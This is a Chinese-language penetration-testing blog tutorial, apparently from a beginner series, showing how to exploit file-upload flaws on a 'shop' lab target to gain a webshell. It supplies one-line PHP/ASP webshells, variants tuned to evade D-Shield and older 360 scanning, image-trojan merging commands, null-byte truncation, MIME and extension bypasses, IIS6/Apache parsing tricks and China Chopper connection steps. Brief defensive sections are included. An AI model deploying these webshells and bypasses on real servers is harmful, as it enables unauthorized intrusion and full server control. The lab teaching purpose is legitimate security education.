實驗環境:Win7
上傳漏洞——獲得shop靶機的Webshell
- 系列博文
- 前言
- Webshell——腳本攻擊工具
- 1. Webshell 工具舉例
- 2. 如何獲得Webshell
- 3. 上傳檢測
- 3.1 上傳驗證判斷(保證能繞過檢測,上傳木馬)
- 3.1.1 內容檢測繞過
- 3.1.2. 黑名單檢測繞過
- 3.1.3 客戶端(瀏覽器端)擴展名檢測繞過
- 3.1.4 服務端檔案擴展名檢測繞過
- 3.1.5 服務端白名單檢測繞過
- 3.1.6 服務器端檢測繞過
- 4. 決議漏洞
- 5. 檔案上傳漏洞防御(多數時采用組合拳進行防御)
- 6. 當上傳路徑未知時,不能用00截斷怎么辦——資料庫備份功能幫助上傳
- 7. 檔案包含漏洞
- 7.1 檔案包含漏洞防御
- 8. 殺毒軟體原理
- 8.1 殺毒軟體功能模塊
- 8.2 查殺方式
- 8.3 查殺方式優缺點比較
- 9. 一句話木馬變形
- 10. 提高安全意識
- 總結——獲得Webshell
- 實驗——上傳一句話木馬
- 1. 找到后臺上傳通道
- 2. 制作一句話木馬
- 3. 上傳一句話木馬
- 3.1 探索是否存在上傳驗證,繞過驗證
- 3.2 判斷是客戶端還是服務端驗證
- 4. 00截斷
- 5. 連接菜刀
- 6. 防御方案
系列博文
- 信安小白,說明白滲透測驗及資訊安全
- 信安小白,一篇博文講明白暴力破解和SQL注入
- 信安小白,一篇博文講明白上傳漏洞——獲得shop靶機的Webshell
- 信安小白,一篇博文講明白存盤型、反射型XSS漏洞
- 信安小白,一篇博文講明白CSRF攻擊和防御
前言
??獲得了Webshell就是獲得服務器的遠程web管理權限,我們要控制服務器,就必須要有通道,使服務器能接受指令,因此這個指令獲取的媒介就是木馬,木馬能夠隱蔽的接受遠程指令,能夠讓黑客遠程控制服務器,
Webshell——腳本攻擊工具
Webshell就是一個木馬后門,
??shell 是指“為使用者提供操作界面”的軟體,類似于 windows 的 cmd.exe ,攻擊者常常將服務器能運行的腳本檔案(木馬檔案)放置在網站服務器地web目錄中,通過web方式,利用木馬控制網站服務器,包括上傳下載檔案、執行任意程式命令等,這稱為拿到了服務器的Webshell,也就是拿到服務器的web控制權限,
Webshell可以穿越防火墻
??攻擊者與被控制地服務器或遠程主機都是通過80埠傳遞資料,因此不會被防火墻攔截,
1. Webshell 工具舉例
中國菜刀: 一款c/s型的Webshell管理工具,它的服務端程式極小,只有一句代碼,因此保證了Webshell的隱蔽性,并且這段代碼所能實作的功能是非常強大的,
主要功能有:
- 檔案管理:快取下載目錄,并支持離線查看快取目錄;
- 虛擬終端:操作方便;
- 資料庫管理:支持
YSQL,MSSQL,ORACLE,INFOMIX,ACCESS
只要往目標網站中加入一句話木馬,然后你就可以在本地通過中國菜刀獲取和控制整個網站目錄,
php:<?php @eval($_post['pass']);?>
asp:<%eval request ("pass")%>

不同語言的一句話構成幾乎完全一致:
- 請求客戶端資料
- 然后執行請求到的資料
- eval() 函式可將字串轉換為代碼執行,并回傳一個或多個值
2. 如何獲得Webshell
要獲得Webshell:
- 找到上傳途徑
- 成功上傳木馬(繞過上傳驗證),木馬要能被執行
- 知道木馬存盤路徑
- 執行木馬獲得Webshell
找到上傳途徑
- 檔案上傳
- 資料庫備份寫shell
- FCKeditor 編輯器上傳漏洞,任意檔案上傳漏洞
3. 上傳檢測
上傳的檔案需要上傳檢測,被認可的檔案才能夠上傳,

A 客戶端 :javascript 檢測(通常為 檢測檔案擴展名)
B 服務端檔案擴展名檢測
C 服務端 MIME 型別檢測(檢測Content-Type 內容)
D 服務端檔案內容檢測 (檢測內容是否合法或含有惡意代碼)
E 檔案大小檢測
3.1 上傳驗證判斷(保證能繞過檢測,上傳木馬)
判斷是哪種驗證方式:
- 是否進行檔案大小驗證 (限制檔案大小,不能太小)
- 是否進行檔案內容驗證 (要求特殊的檔案格式,例如:要求檔案內容是圖片,可以采用木馬和圖片合并的方式繞過)
- 是否MIME型別驗證
- 是黑名單還是白名單驗證 (黑名單驗證:有些格式明確不能上傳,例如腳本檔案不能上傳;白名單驗證:只能上傳xx檔案,此類驗證同時需要驗證是客戶端還是服務端的驗證)
- 判斷是客戶端驗證還是服務器端驗證
3.1.1 內容檢測繞過
檔案內容檢測:
將圖片檔案和一句話木馬合成
copy 1.jpg /b + 2.asp /a 3.asp
檔案大小檢測:
將一句話木馬復制多遍
3.1.2. 黑名單檢測繞過
- 檔案名大小寫繞過
??用像AsP,pHp 之類的檔案名繞過黑名單檢測 - 名單串列繞過
??用黑名單里沒有的名單進行攻擊,比如asa 或cer 之類
IIS6.0默認的可執行檔案除了 asp 還包含 – .asa,– .cer,– .cdx - 特殊檔案名繞過
??發送的http包里把檔案名改成test.asp. 或 test.asp_(下劃線為空格),這
種命名方式在windows 系統里是不被允許的,所以需要在burp 之類里
進行修改,然后繞過驗證后,會被windows 系統自動去掉后面的點和
空格
3.1.3 客戶端(瀏覽器端)擴展名檢測繞過
??沒有向服務端發送任何資料資訊,就對本地檔案進行檢測是否是允許上傳的檔案型別,這種方式稱之為客戶端本地javascript檢測,

Burp Suite:是用于攻擊web應用程式的集成平臺,其中:BurpSuite含有Proxy模塊——一個攔截HTTP/S的代理服務器,作為一個在瀏覽器和目標應用程式(服務器)之間的中間人,它允許攔截,查看,修改在兩個方向上的原始資料流(抓取、查看、更改資料包),
??通過Brup Suite軟體,上傳的.asp檔案可以讓Brup Suite抓到包,說明不是瀏覽器端白名單驗證,而是服務器端驗證,如果是客戶端的驗證,那么.asp檔案肯定無法通過瀏覽器,自然而然burp就抓不到包,
如何繞過客戶端驗證?
- 將木馬檔案擴展名設為 jpg,讓瀏覽器放行通過
- 上傳 111.jpg,瀏覽器驗證通過
- burp抓包攔截,將 111.jpg 改為 111.asp

3.1.4 服務端檔案擴展名檢測繞過
服務器端白名單檢測: 不能在服務器檢測之前修改,在服務器檢測后修改

也就是說,服務器端檢測時是111.jpg,存盤時變成111.asp

??上傳時,路徑可控時,使用00截斷可以繞過,Burp Suite抓包,如果發現有上傳路徑可以考慮使用00截斷,
0x00 截斷:
原理: 字串結束符 \0 的16進制ASCII值是 00,計算機遇到00字符,以為是字串結束符,00后面的字符將被截斷
??因此可以考慮將Burp Suite抓到的包,在16進制(Hex)下將 . ASCII值(2e)修改為 00,截斷asp后面的內容,最后以111.asp 存入服務器,

方法:先讓Burp Suite抓包,如果發現有上傳路徑可控,即可以修改filepath引數,可以考慮使用00截斷,
??服務器先判斷 filename(111.jpg) 是不是白名單,如果檢測通過,就將 filename 拼接到路徑(filepath :Img_shopxp/upfilepic/888.asp.jpg)下,即filepath :Img_shopxp/upfilepic/888.asp.jpg111.jpg,最后將.jpg111.jpg截斷,存盤路徑最后變成:filepath :Img_shopxp/upfilepic/888.asp,

3.1.5 服務端白名單檢測繞過
00截斷繞過服務器白名單檢測具體辦法:
filepath : Img_shopxp/upfilepic/
filename : 111. jpg
服務器檢測filename后存盤在指定的filepath下 Img_shopxp/upfilepic/111.jpg
1、將filepath引數修改 :Img_shopxp/upfilepic/888.asp.jpg
2、將第二個 “.” ASCII值(2e)修改為 00,截斷asp后面的內容
3、服務器檢測filename后會保存到路徑下,拼接為:Img_shopxp/upfilepic/888.asp.jpg111.jpg
"." ASCII值修改為 00 后,被計算機認為是 字符終止符,截斷.jpg111.jpg,存盤為 Img_shopxp/upfilepic/888.asp
??上傳時路徑可控時在16進制下,使用00截斷,這里可以看到,第二個 “.” 00截斷后出現了小方塊…
路徑名可以根據自己喜好撰寫,途中修改成的路徑Img_shopxp/upfilepic/111.asp.jpg

3.1.6 服務器端檢測繞過
MIME檢測繞過
??web服務器使用MIME來說明發送資料的種類,通過MIME類
型來判斷檔案是否GIF圖片,
修改 Content-Type:image/jpeg
提示:upload-labs是一個使用php語言撰寫的,專門收集滲透測驗和CTF中遇到的各種上傳漏洞的靶場,目前一共20關,每一關都包含著不同上傳方式,
專案地址:https://github.com/c0ny1/upload-labs
4. 決議漏洞
Apache決議漏洞
??Apache 是 從右到左開始判斷檔案擴展名 來決議檔案,如果檔案擴展名不被識別,就再往左判斷,比如 cimer.php.owf.rar .owf 和 .rar 這兩種后綴是Apache不可識別決議,Apache會把cimer.php.owf.rar決議成php,因此,上述00截斷的方法,如果使用的是Apache服務器就可以在filename那里直接00截斷,
??如何判斷是不是合法的后綴就是這個漏洞能否利用的關鍵,測驗時可以嘗試上傳一個cimer.php.rara.jpg.png…(把你知道的常見后綴都寫上…)去測驗是否是合法后綴,
IIS6.0決議漏洞
??在IIS6.0下,分號后面的不被決議,如cimer.asp;.jpg會被當做cimer.asp還有IIS6.0默認的可執行檔案除了 asp 還包含 – .asa,– .cer,– .cdx都可被當做asp被決議的,
- 檔案決議
xx.asp;.jpg - 目錄決議
/xx.asp/xx.jpg
在網站下建立檔案夾的名字為.asp /.asa的檔案夾,其目錄內的任何擴展名的檔案都被IIS當作asp檔案來決議并執行,如創建目錄cimer.asp,那么 /cimer.asp/1.jpg 將會被按照正常的asp檔案進行,
5. 檔案上傳漏洞防御(多數時采用組合拳進行防御)
- 檢查檔案上傳路徑 ( 避免 0x00 截斷、 IIS6.0 檔案夾決議漏洞)
- 服務器白名單檢測 ( 避免服務器以非圖片的檔案格式決議檔案 )
- 檔案內容檢測 ( 檢測圖片內容中是否插入Webshell)
- 圖片二次渲染 ( 最變態的上傳漏洞防御方式 , 基本上完全避免了檔案上傳漏洞 )
- 檔案重命名 ( 如隨機字串或時間戳等方式 , 防止攻擊者得到Webshell的路徑 )
- 檔案MIME驗證
6. 當上傳路徑未知時,不能用00截斷怎么辦——資料庫備份功能幫助上傳
獲得webshell的程序:
- 找到后臺入口:默認后臺、御劍掃描、WebScan、爬蟲;
- 獲得登錄用戶名密碼:弱口令、暴力破解、SQL注入(產生原因:用戶提交的資料當作代碼來執行,能夠讓資料庫執行查詢指令,查詢表、列、欄位,諸位的拆解欄位)
- 登錄后臺找到上傳途徑,判斷上傳驗證型別:客戶端還是服務器端?大小?內容?白名單?
- 成功上傳木馬(繞過服務器白名單驗證+大小驗證)復制木馬或合成圖片、00截斷
- 菜刀連接木馬獲得Webshell
當不能設定服務器存盤路徑時怎么辦?
資料庫備份功能幫助上傳:
資料庫可以備份成 .asp 檔案,是否任意檔案都能通過備份功能變成.asp檔案…
注意:
??這里注意要備份檔案的路徑(用來上傳一句話木馬)和備份檔案存盤的路徑(用來連接Webshell)
1、所有路徑是相對于“資料庫備份”頁面的路徑
2、菜刀連接前要清楚快取,注意路徑是否正確,


Webshell權限默認繼承于web容器(web sever)權限:
apache(默認:系統管理員權限)
IIS(默認:User權限)
Nginx和Tengine(默認:網路用戶權限)
網站管理員可以限制Webshell權限
??針對Windows下web目錄的設定,執行腳本僅僅給web匿名賬戶讀取檔案的權限,用戶可以上傳的目錄不給其執行權限,這樣就算上傳了webshell也無法執行,或者權限大大受限,
現實中Webshell權限一般設定為:匿名訪問權限 (guest權限)
提權: 提高自己在服務器中的權限,目標是擁有管理員權限
7. 檔案包含漏洞
沒有00截斷、資料庫備份功能,還有哪些漏洞能幫助繞過服務器白名單驗證?——檔案包含漏洞
??程式員希望代碼更靈活,將包含的檔案設定為變數,幾乎所有的腳本語言中都會提供檔案包含的功能,但檔案包含漏洞在PHP中居多,在JSP、ASP中十分少甚至沒有,
??服務器開啟allow_url_include選項時,就可以通過php的某些特性函式(include(),require()和include_once(),require_once())利用url去動態包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導致任意檔案讀取或者任意命令執行,只要檔案內容符合PHP語法,就可以按PHP決議,

7.1 檔案包含漏洞防御
- 白名單驗證,例如必須為
include.php - 盡量不要使用動態包含,包含頁面固定寫好
- 嚴格判斷包含的引數是否外部可控
8. 殺毒軟體原理
??即使一句話木馬已經躺在目標網站目錄了,訪問的時候也被WAF(Web防火墻、安全狗、查殺軟體)斷掉連接,
??殺毒軟體就是一個資訊分析的系統,它監控所有的,當它發現某些資訊被感染后,就會清除其中的病毒,
- 記憶體-硬碟
- 網路-記憶體
- 網路-硬碟
??資訊的分析(或掃描)方式取決于其來源,殺毒軟體在監控電子郵件或局域網間資料移動時作業方式是不同的,
8.1 殺毒軟體功能模塊

8.2 查殺方式
特征碼掃描:(全盤掃描)
- 病毒特征碼判斷就像指紋識別一樣,一個指紋對應一個人,一個特征碼只對應一個病毒,
校驗和法:
- 將正常檔案的內容,計算其校驗和,將該校驗和寫入檔案中或寫入別的檔案中保存,定期地或每次使用檔案前,檢查檔案現在內容算出的校驗和與原來保存的校驗和是否一致,
行為監測(主動防御):
- 通過分析資訊的行為并將其與一個危險行為樣式庫進行對照以判別資訊的危險性,例如:殺毒軟體會對新安裝的程式進行提示,是否構成威脅,
如何獲取病毒特征碼:
- 反病毒工程師從計算機中提取 可疑程式,各大極客工程師也會在木馬論壇中交流新發現的可疑病毒;
- 然后反病毒工程師回傳公司的實驗室;
- 反病毒工程師在實驗室運行 可疑程式 看行為,如果行為符合病毒定義,判定此可疑程式是病毒,
- 反病毒工程師為該病毒提取特征碼(一個特征碼只對應一個病毒,就像一個指紋對應一個人)
- 用戶計算機的殺毒軟體升級該病毒特征碼(現在是云查殺,云端升級病毒庫)
- 掃描后,殺毒軟體才能告訴用戶,該可疑程式是病毒
殺毒軟體能夠查殺病毒的關鍵: 反病毒公司必須先收集到病毒樣本,
8.3 查殺方式優缺點比較

注意:
??同一木馬,在不同資訊安全公司下的特征碼是不同的,因為每個信安公司的特征碼是該公司的核心產品,是競爭力所在,一般不對外銷售是核心機密,這導致了各個殺毒軟體查殺準確率存在差異,
??教驗和的缺點是存在誤報,檔案內容在正常使用時也經常會有變動,容易造成誤報,因此該方法現在使用比較少了,
??主動防御,行為檢測,誤報率很高,如果不是安裝官方的軟體,經常會存在誤報資訊,
9. 一句話木馬變形
原型:
<%eval request("z")%>;
繞過D盾Web查殺,asp木馬變形:(D盾軟體內部實作的Bug有關)
<%
<!--"-->
eval request("chopper")
%>

過低版本360:
<%Y=request(“z")%> <%eval Y%>
10. 提高安全意識
安卓遠控木馬:
??傭訓用戶安裝,運行后可以不知不覺的遠程打開受感染目標手機的攝像頭,查看短信,錄制麥克風,定位地址等一系列操作,
如何防御:
??木馬也需要安裝才能起效,所以盡量不要下載第三方應用,
思路:

總結——獲得Webshell
要獲得webshell:
- 找到上傳途徑
登錄后臺后找到上傳檔案途徑 - 成功上傳木馬 (繞過上傳驗證),木馬要能被執行判斷為什么驗證,再針對驗證繞過00截斷繞過服務器白名單驗證,
- 知道木馬存盤路徑
- 執行木馬獲得webshell
連接菜刀
實驗——上傳一句話木馬
1. 找到后臺上傳通道
要上傳一句話木馬,我們就需要進入后臺,找到能上傳檔案的位置,如下圖的上傳小圖片按鈕

2. 制作一句話木馬
制作 一句話木馬 檔案,格式為 .asp (我這里起的檔案名為:111.asp)
<%eval request("chopper")%> #chopper這里是登錄菜刀鏈接的密碼

3. 上傳一句話木馬
3.1 探索是否存在上傳驗證,繞過驗證
幾次上傳后發現上傳不成功,上傳失敗,說明網站存在上傳驗證

判斷上傳的驗證方式(可能驗證方式一種或多種),針對驗證方式進行繞過:
- 黑名單驗證(不允許.asp上傳,可以改大小寫,檔案改為:111.AsP)
- 白名單驗證(只允許.jpg、.gif等檔案格式上傳)
- 大小驗證(只允許一定合適大小的檔案上傳)
- 內容驗證(檔案中不含圖片,只含一句話木馬)
針對內容驗證可以采用合成檔案的方式繞過:
cd C:\Users\kim\Desktop\實驗1 #進入檔案目錄下(目錄根據)
copy qq.png /b +guo.asp /a test.jpg #將圖片檔案(qq.png)和一句話木馬檔案(guo.asp)合稱為同一個檔案(test.jpg)

合成圖片后,上傳成功

3.2 判斷是客戶端還是服務端驗證
Burp Suite :是java平臺下的,需要先安裝java(java環境安裝)

可以改一下埠,我改成了8081


??為了讓Burp Suite可以抓到包,我們需要設定一下區域代理:各個瀏覽器可能位置不一樣,大概位置: 瀏覽器的工具選單下,Internet選項中的連接選項,局域網設定,設定一下剛才的埠號(127.0.0.1:8081和Burp Suite中的一樣就好)

上傳含有一句話木馬的圖片檔案,注意:Intercept is on
注意: 正常瀏覽網頁時一定是Intercept is off ,如果是Intercept is on 瀏覽器發出的包都會被Burp Suite攔截,導致上不了網,網頁打不開,


可以看到上傳的 filename,說明瀏覽器發送的包OK,后需要Burp Suite來轉發

我們再找一個不能通過的包,guo.asp

??此時能抓到包,說明是服務器端驗證,因為如果是瀏覽器端驗證的話,上傳時的包就應該被瀏覽器率先截斷了,Burp Suite就不能抓到包了,現在能抓到包,說明瀏覽器段沒有進行白名單驗證,
總結:asp檔案無法上傳,只能上傳jpg格式檔案,通過Brup軟體發現,asp與jsp合并的檔案可以上傳,可以通過Content-Type看到檔案其實是text形式,既然上傳的檔案可以通過Brup抓包軟體,說明不是瀏覽器端白名單驗證,而是服務器端驗證,否則無法通過瀏覽器后面的Brup,
提示: Content-Type是MIME驗證的引數, 此時能發現,驗證出來的.asp檔案是text文本型別,

4. 00截斷
??現在我們已經上傳了一句話木馬,并且上傳成功,但是此時一句話木馬依舊不能作業,因為我們上傳的檔案保存在服務器端是 .jpg 檔案,我們需要的是 .asp、.php腳本檔案 ,因此我們必須存成 .asp格式,再加上我們上傳檔案時,能看到上傳的檔案存在服務器上的路徑(正常情況下看不見的),因此我們可以使用00截斷,


??通過Burp Suite抓到的包,我們還可以改檔案路徑,可以下圖路徑后面加入1234.asp.jpg,在asp后面加入00截斷,網站上傳的圖片名稱(test.jpg)會直接加到路徑之后再上傳到服務器,上傳的路徑就是:img_shopxp/upfilepic/1234.asp.jpgtest.jpg 如果在.jpg開始階段,最后真實的上傳路徑就是:img_shopxp/upfilepic/1234.asp ".jpgtest.jpg"全部被截斷了
(具體內容詳見上面敘述的00截斷)

. 16進制ASCII碼 是 2e!點擊Hex進入查找頁面,查找 1234.asp.jpg 的16進制ASCII碼

1234.asp.jpg,有兩個 . (兩個2e)將后一個 . 代表的2e改成00,進行00截斷

00截斷后顯示如下圖

最后點擊Intercept is on 變為Intercept is off 上傳成功,
5. 連接菜刀
連接菜刀后就可以侵入主機了
打開菜刀,右鍵選擇添加,寫入一句話木馬檔案的路徑,密碼是chopper(最開始一句話木馬中設定的密碼),選擇腳本ASP(Eval),點擊添加連接菜刀,

雙擊新添加的路徑,能訪問服務器后臺,獲得了管理權限,能操控服務器了,說明此時服務器被我們攻破了,

6. 防御方案
設計網站時,最好設計瀏覽器白名單驗證,最好不要在網站上顯示出保存的路徑,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/336174.html
標籤:其他
上一篇:【滲透測驗筆記】之【Python免殺——兩行代碼實作免殺!VT查殺率:10/68(思路:將ShellCode和Loader一起分離免殺)】
